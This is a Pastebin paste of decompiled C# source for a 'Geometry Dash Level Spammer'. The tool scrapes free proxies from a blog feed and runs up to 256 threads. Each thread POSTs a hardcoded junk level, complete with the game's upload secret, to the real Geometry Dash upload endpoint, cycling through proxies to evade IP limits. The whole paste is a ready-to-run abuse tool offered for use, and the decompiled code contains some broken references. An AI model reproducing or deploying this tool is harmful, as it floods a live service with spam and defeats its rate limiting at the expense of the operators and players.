Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.VisualBasic.CompilerServices;
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.IO;
- using System.Net;
- using System.Text;
- using System.Text.RegularExpressions;
- using System.Threading;
- namespace GDLevelSpamBot
- {
- [StandardModule]
- internal sealed class Module1
- {
- private static int MaxThreads = 256;
- private static int Counter = 0;
- private static int ThreadsCompleted = 0;
- private static List<string> proxies = new List<string>();
- private static int Succes = 0;
- private static WebProxy myProxy;
- [STAThread]
- public static void Main()
- {
- Console.ForegroundColor = ConsoleColor.Red;
- try
- {
- Console.WriteLine("Geometry Dash Level Spammer By ChrisTheos123!");
- Console.WriteLine("-----------------------------------");
- Console.Write("MaxThreads (256 Recommended):");
- Module1.MaxThreads = Conversions.ToInteger(Console.ReadLine());
- Module1.GrabProxies();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- Console.WriteLine("You typed something wrong, restarting...");
- ProjectData.ClearProjectError();
- }
- }
- public static void GrabProxies()
- {
- Console.WriteLine("Collecting Fresh Proxies...");
- try
- {
- MatchCollection matchCollection = new Regex("[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}:[0-9]{1,4}").Matches(new StreamReader(((HttpWebResponse)((HttpWebRequest)WebRequest.Create("http://proxyserverlist-24.blogspot.com.eg/feeds/posts/default")).GetResponse()).GetResponseStream()).ReadToEnd());
- try
- {
- foreach (Match match in matchCollection)
- Module1.proxies.Add(match.ToString());
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- Console.WriteLine("Collected " + Conversions.ToString(Module1.proxies.Count) + " Proxies!");
- Thread.Sleep(2500);
- Module1.SetProxies();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- Console.WriteLine("Something went wrong!");
- ProjectData.ClearProjectError();
- }
- }
- public static void SetProxies()
- {
- Console.WriteLine("LevelID: " + Conversions.ToString(Module1.LevelID) + ", Proxies loaded: " + Conversions.ToString(Module1.proxies.Count));
- Console.Clear();
- Console.WriteLine("Starting Bots...");
- int num1 = Math.Min(Module1.proxies.Count, Module1.MaxThreads);
- int num2 = num1;
- int num3 = 0;
- while (num3 <= num2)
- {
- double d = (double)Module1.proxies.Count / (double)num1 * (double)num3;
- List<string> range = Module1.proxies.GetRange(checked((int)Math.Round(Math.Floor(d))), checked((int)Math.Round(unchecked(Math.Min((double)Module1.proxies.Count, d + (double)Module1.proxies.Count / (double)num1) - d))));
- ParameterizedThreadStart start;
- // ISSUE: reference to a compiler-generated field
- if (Module1._Closure\u0024__.\u0024IR10\u002D1 != null)
- {
- // ISSUE: reference to a compiler-generated field
- start = Module1._Closure\u0024__.\u0024IR10\u002D1;
- }
- else
- {
- // ISSUE: reference to a compiler-generated field
- Module1._Closure\u0024__.\u0024IR10\u002D1 = start = (ParameterizedThreadStart)(a0 => Module1.ReportLevel((List<string>)a0));
- }
- new Thread(start).Start((object)range);
- checked { ++num3; }
- }
- while (Module1.ThreadsCompleted < num1)
- {
- Thread.Sleep(250);
- Console.Clear();
- Console.WriteLine("Proxies Used [" + Conversions.ToString(Math.Round((double)Module1.Counter / (double)Module1.proxies.Count * 100.0)) + "%]");
- Console.WriteLine("Reports [" + Conversions.ToString(Module1.Counter) + "]");
- }
- Console.Clear();
- Console.WriteLine("All proxies are used! (You can close the bot now!)");
- }
- public static void ReportLevel(List<string> ProxyList)
- {
- List<string>.Enumerator enumerator;
- try
- {
- enumerator = ProxyList.GetEnumerator();
- while (enumerator.MoveNext())
- {
- string current = enumerator.Current;
- try
- {
- Module1.myProxy = new WebProxy(current);
- byte[] bytes = new UTF8Encoding().GetBytes("gameVersion = 21 & binaryVersion = 33 & gdw = 0 & udid = S15213520027842169290697318242632921000 & userName = Player & levelID = 0 & levelName = test & levelDesc = bGV2ZWwgc3BhbW1lciB0ZXN0IGxvbA == &levelVersion = 1 & levelLength = 0 & audioTrack = 0 & auto = 0 & password = 0 & original = 0 & twoPlayer = 0 & songID = 0 & objects = 1 & coins = 0 & requestedStars = 0 & unlisted = 0 & wt = 2 & wt2 = 0 & extraString = 0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0 & seed = OOJjRb2uHo & seed2 = UFcBAw0HBgUEUAZVBQ5QBFcBBVUBVwFVBQdUClIHAQYKDwwHVVRUAg == &levelString = H4sIAAAAAAAAC6WQwQ3DMAhFF6ISHxvHUU6ZIQP8AbJChm8x7S1RU_XynwHzZHnfShewKo0wZ6G5E0hYIpuVD7ARqsqJIDyiU9mJAxwKtXsK_K - YTxVxJxduSYyxfyaK3_iI9JvGLzX6y2vahUb2FUU04ImWqPLKPE_ZeaMHtjKPykamYAzWOjKn0AREFwjEBM2lCHx5AuCfAx8eAgAA & levelInfo = H4sIAAAAAAAACzPQMzCwBkI9I0trQyBlbAnmmUN4liA5Qz1DczBlZAqmzEAUAFOmhQU4AAAA & secret = Wmfd2893gb7");
- HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://www.boomlings.com/database/uploadGJLevel21.php");
- httpWebRequest.Proxy = (IWebProxy)Module1.myProxy;
- httpWebRequest.Method = "POST";
- httpWebRequest.KeepAlive = true;
- httpWebRequest.ContentType = "application/x-www-form-urlencoded";
- httpWebRequest.ContentLength = (long)bytes.Length;
- Stream requestStream = httpWebRequest.GetRequestStream();
- requestStream.Write(bytes, 0, bytes.Length);
- requestStream.Close();
- if (Operators.CompareString(new StreamReader(((HttpWebResponse)httpWebRequest.GetResponse()).GetResponseStream()).ReadToEnd(), "1", false) == 0)
- checked { ++Module1.Succes; }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- checked { ++Module1.Counter; }
- }
- }
- finally
- {
- enumerator.Dispose();
- }
- checked { ++Module1.ThreadsCompleted; }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement